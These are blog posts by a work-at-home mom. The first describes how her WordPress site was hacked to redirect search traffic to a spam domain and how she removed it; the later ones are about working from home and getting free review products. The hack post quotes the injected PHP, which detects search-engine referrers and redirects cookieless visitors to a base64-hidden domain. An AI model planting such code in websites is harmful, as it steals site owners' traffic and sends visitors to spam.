Tiffany Washko

My biggest blog was hacked recently. I “should” have caught on to it much more quickly but I didn’t. When traffic dropped by about 1000 people a day and my income majorly plummeted I started to take notice but I was at a loss as to how to explain it. I did see a serious lack of Google traffic so I thought maybe I got slapped for some reason. I don’t utilize any blackhat SEO methods but my content has been getting ripped off and republished left and right lately. My SERPs remained the same though, so I was VERY confused.

Then a blog reader mentioned to me that when she clicked on a link to my blog in the Google reader she would be redirected to a site called anyresults.net. She even researched it a bit and sent me a link to a discussion about this very issue. It is a hack affecting thousands of Wordpress blogs. Basically it steals all of your search engine traffic…via AOL, Google, Yahoo, MSN, you name it. If a search result brings up a link to your site the visitor would be redirected to anyresults.net and not your site. I erased my cookies and tried it myself and sure enough I was redirected every time. I could even search for my blog by name and be redirected. By now I was FURIOUS. I lost some major moola this week because some jerk-off stole traffic that should have been mine…Adsense, affiliate income, ad networks…all were suffering.

After I started looking for solutions I also found some people saying that Google ended up banning them for redirecting to a spam site! They got hacked and then slapped…talk about and insult after injury.

To get rid of the hack I tried the “solution” found here. It was useless. Mostly this thread seems full of people who assume you were to stupid to upgrade and that is why you got hacked. I was hacked while running the latest version, 2.5.1, so there goes that theory. I looked in my MySQL database for image being used as a plugin and there wasn’t one. I also deleted this string: rss_f541b3abd05e7962fcab37737f40fad8. It did nothing. I even deactivated all plugins and the problem was still there so clearly it is NOT a plugin issue.

Just like this blogger I did find this code in my wp-blog-header.php file:

 ?php \
$seref=array(”google”,”msn”,”live”,”altavista”,”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=”1″; break; }
if($ser==”1″ && sizeof($_COOKIE)==0){ header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”); exit; }?>

This is NOT supposed to be there. I deleted it but this in itself did not fix the issue. So I copied over all the files in the main WP directory with fresh, clean files and the problem was fixed. I wish I had known about this before I scoured my database and reinstalled a clean version of each plugin. Hope it helps some others affected by this attack.

While I was working this out I also added a blank index file to my plugins folder so people can’t see what plugins I am using and to find back doors. I also deleted all of my users and checked my permission settings. Hopefully my traffic will get back to normal and I can avoid further attacks…what a major pain in the neck.

Now I need to check out all my other blogs.

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Kelly at Wahm 2.0 has asked that we share why we love to work at home. I am only too happy to answer because I do absolutely LOVE working from home. Yes, there are challenges…like the reality of having a pile of laundry outside your office or the guilt that comes with outsourcing some of your “mom” tasks like cooking or cleaning, but overall there is just nothing better than working from the comfort of my own home and being my own boss. I know exactly how fortunate I am to be able to do it too. I have met MANY moms, more than I can count, that would love to be able to stay home, earn money on their own terms, and be a bigger part of their own children’s lives. They feel lost as to how to make it happen and here I have succeeded! I am living the WAH life that so many moms aspire too. I am fortunate indeed.

Some of the reasons I LOVE to work at home:

* I am my own boss. I call the shots and set my own hours. If I want to sleep in, take a nap, do my work at Borders bookstore, or even skip work altogether, I get to make that call. I can also give myself as much personal time as I need and not feel guilty. I also set my own pay rates by creating my own opportunities. There is no glass ceiling to hit in my office.

* I can choose my own priorities. Working is important to me…I enjoy it and it is important to my self worth. The work I have chosen is something that is pleasurable for me and most days I feel guilty even calling what I do “work” because I enjoy it so much. That said though, I do have other priorities and I love that they don’t have to compete for my time and attention. I like to garden, read, travel, work on crafts and sewing projects, and spend time with my family. Working at home allows me to decide which priorities get my time and attention, not an employer. When my kids are sick and they need me I am there. When my hubby needs me to mend a pair of pants I can get right on it. When I want to see a movie in the middle of the day I can go. Most parents have to organize their life and their priorities around their secular work…I don’t.

* I get to raise my kids. I don’t have to be in the often times agonizing position of letting someone else raise my kids because I have to work. I get to be there for them and see all of their accomplishments and spend quality time with them that I will never get back. There won’t be any do-overs so it is important to me that they have the time and attention they need. I can take time off to go shopping, take my daughter to ballet, go to the park or a museum, and even homeschool my kids if need be. I don’t worry about scheduling conflicts, late suppers, or being too stressed to read them their bedtime stories. Being a WAHM allows me to be a very involved, hands-on mom.

* Being a WAHM gives me a great sense of accomplishment. I am a business owner and an entrepreneur. I get to create things every day and relish my success when I get paid darn good money for my hard work. I get to feel elated when I make as much as my work-outside-the-home hubby without the stress, strict hours, and long commute that he and so many others have. There is nothing like using your skills to create and then reaping the rewards. While you do feel this to some extent when you work outside the home…it is not the same. Being a well paid work at home mom is a big confidence booster.

* Having fun is my job too. I have chosen to pursue work that I am passionate about and that involves my family. Part of my job is reviewing cool new products for families, researching and reading about issues I care about, doing special work related projects with my kids, even work related travel every now and again. Our family has had many wonderful adventures in the name of my work and we have tried hundreds of great products.

Yes…I LOVE being a work at home mom!

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As some of you know my hubby has quit his over-the-road job and is now home for the first time in 7ish years. He is amazed at the amount of “stuff” people send to me free because they want me to review it on my blogs. I told him but I don’t think he believed me.

Then when he had to answer the door for UPS, FedEx, and the USPS all in one day I think he realized why my office is buried. This week I got about a dozen books, cloth pads, stuffed animals, soaps, toothpaste, deodorant, shampoo, cleaning supplies, t-shirts, bug spray, milk, cheese, juice boxes, brownies, a CD, hand sanitizer, a baby bottle, and a shower-head. I think that was it but I am probably forgetting some stuff.

It is like that every week and it is getting overwhelming. Luckily it helps my blog popularity when I am able to give away some sweet prizes. I also give away a ton of stuff every other month on one of my forums.

Enlisting the help of bloggers to get your product out in the public eye is becoming a VERY popular thing to do.

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